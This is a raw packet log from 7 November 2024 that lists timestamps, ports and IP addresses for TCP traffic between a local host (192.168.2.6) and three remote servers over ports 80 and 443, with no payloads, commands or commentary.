Nov 7, 2024 17:25:46.676717997 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.676729918 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.676738024 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.676780939 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.676822901 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.676834106 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.676845074 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.676856995 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.676868916 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.676872015 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.676879883 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.676892996 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.676897049 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.676907063 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.676909924 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.676933050 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.676943064 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.676954031 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.676956892 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.676965952 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.676987886 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.676996946 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.677099943 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.677112103 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.677122116 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.677133083 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.677136898 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.677145004 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.677155972 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.677156925 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.677167892 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.677180052 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.677181959 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.677194118 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.677194118 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.677207947 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.677222967 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.677227020 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.677249908 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.677273035 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.677453041 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.677470922 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.677481890 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.677493095 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.677504063 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.677508116 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.677515030 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.677526951 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.677537918 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.677541971 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.677542925 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.677550077 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.677561045 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.677572012 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.677575111 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.677583933 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.677594900 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.677601099 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.677606106 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.677617073 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.677618027 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.677628994 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.677634001 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.677642107 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.677653074 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.677660942 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.677668095 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.677679062 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.677687883 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.677701950 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.677712917 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.677725077 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.677726030 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.677737951 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.677752972 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.677764893 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.677783966 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.677789927 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.677802086 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.677813053 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.677829981 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.677835941 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.677872896 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.677879095 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.677887917 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.677900076 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.677910089 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.677925110 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.677947998 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.719250917 CET	443	49979	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.719264030 CET	443	49979	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.719330072 CET	49979	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.719338894 CET	443	49979	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.719391108 CET	49979	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.719391108 CET	49979	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.728037119 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.733612061 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.832833052 CET	443	49979	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.832858086 CET	443	49979	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.832969904 CET	49979	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.832983971 CET	443	49979	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.833002090 CET	49979	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.833172083 CET	49979	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.944798946 CET	443	49979	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.944904089 CET	49979	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.947855949 CET	443	49979	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.947900057 CET	443	49979	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.947942019 CET	443	49979	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.947993040 CET	49979	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.947993040 CET	49979	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.948133945 CET	49979	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.948483944 CET	49979	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:46.948501110 CET	443	49979	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:46.964606047 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.964673996 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.964683056 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.964688063 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.964729071 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.964740038 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.964752913 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.964757919 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.964771032 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.964787960 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.964797974 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.964807987 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.964870930 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.964927912 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.964940071 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.964951992 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.964968920 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.964981079 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.964998007 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.965008974 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.965014935 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.965040922 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.965049982 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.965075970 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.965116978 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.965130091 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.965141058 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.965207100 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.965218067 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.965229034 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.965255022 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.965339899 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.965352058 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.965363026 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.965369940 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.965373993 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.965387106 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.965396881 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.965398073 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.965418100 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.965450048 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.965450048 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.965656042 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.965670109 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.965687037 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.965717077 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.965717077 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.965734959 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.965742111 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.965810061 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.965821028 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.965905905 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.965934992 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.965948105 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.965962887 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.965981007 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.965992928 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.966002941 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.966010094 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.966017008 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.966046095 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.966046095 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.966088057 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.966093063 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.966100931 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.966111898 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.966124058 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.966139078 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.966139078 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.966142893 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.966159105 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.966202974 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.966214895 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.966227055 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.966233969 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.966252089 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.966264963 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.966265917 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.966275930 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.966286898 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.966303110 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.966303110 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.966306925 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.966320992 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.966332912 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.966351986 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.966379881 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.966379881 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.966403008 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.966489077 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.966500998 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.966511965 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.966571093 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.966582060 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.966592073 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.966599941 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.966607094 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.966639042 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.966639042 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.966687918 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.966700077 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.966712952 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.966726065 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.966839075 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.966849089 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.966859102 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.966864109 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.966872931 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.966885090 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.966901064 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.966901064 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.966924906 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.966939926 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.966948986 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.966953039 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.966972113 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.966983080 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.966995955 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.967000961 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.967000961 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.967056990 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.967062950 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.967062950 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.967072010 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.967088938 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.967098951 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.967117071 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.967128992 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.967139006 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.967149019 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.967150927 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.967164040 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:46.967164993 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.967209101 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.967209101 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:46.995300055 CET	443	49981	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.000375986 CET	49981	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.000406027 CET	443	49981	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.000766993 CET	443	49981	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.001823902 CET	49981	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.001944065 CET	443	49981	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.002557993 CET	49981	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.003962040 CET	443	49985	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.004709959 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.005393028 CET	49985	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.005404949 CET	443	49985	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.005805016 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.005822897 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.005918026 CET	443	49985	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.006447077 CET	49985	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.006567001 CET	443	49985	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.006975889 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.007309914 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.007983923 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.008050919 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.008378029 CET	49985	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.008835077 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.008842945 CET	443	49986	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.010176897 CET	443	49984	108.156.211.71	192.168.2.6
Nov 7, 2024 17:25:47.010632038 CET	49984	443	192.168.2.6	108.156.211.71
Nov 7, 2024 17:25:47.010658026 CET	443	49984	108.156.211.71	192.168.2.6
Nov 7, 2024 17:25:47.012120962 CET	443	49984	108.156.211.71	192.168.2.6
Nov 7, 2024 17:25:47.012321949 CET	49984	443	192.168.2.6	108.156.211.71
Nov 7, 2024 17:25:47.013430119 CET	49984	443	192.168.2.6	108.156.211.71
Nov 7, 2024 17:25:47.013430119 CET	49984	443	192.168.2.6	108.156.211.71
Nov 7, 2024 17:25:47.013442039 CET	443	49984	108.156.211.71	192.168.2.6
Nov 7, 2024 17:25:47.013509035 CET	443	49984	108.156.211.71	192.168.2.6
Nov 7, 2024 17:25:47.043349981 CET	443	49981	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.055253029 CET	49986	443	192.168.2.6	23.38.189.81
Nov 7, 2024 17:25:47.055253983 CET	49984	443	192.168.2.6	108.156.211.71
Nov 7, 2024 17:25:47.055265903 CET	443	49984	108.156.211.71	192.168.2.6
Nov 7, 2024 17:25:47.055332899 CET	443	49985	23.38.189.81	192.168.2.6
Nov 7, 2024 17:25:47.080337048 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.080358982 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.080370903 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.080393076 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.080404043 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.080414057 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.080509901 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.080509901 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.080647945 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.080660105 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.080671072 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.080729961 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.080729961 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.080754042 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.080765009 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.080776930 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.080787897 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.080800056 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.080801964 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.080812931 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.080857038 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.080857038 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.080863953 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.080876112 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.080887079 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.080898046 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.080909967 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.080918074 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.080918074 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.080925941 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.080990076 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.081001997 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.081012011 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.081022978 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.081034899 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.081038952 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.081056118 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.081064939 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.081073046 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.081085920 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.081085920 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.081104040 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.081114054 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.081118107 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.081146002 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.081146002 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.081229925 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.081240892 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.081249952 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.081253052 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.081281900 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.081442118 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.081454039 CET	80	49911	95.215.204.182	192.168.2.6
Nov 7, 2024 17:25:47.081469059 CET	49911	80	192.168.2.6	95.215.204.182
Nov 7, 2024 17:25:47.081470966 CET	80	49911	95.215.204.182	192.168.2.6
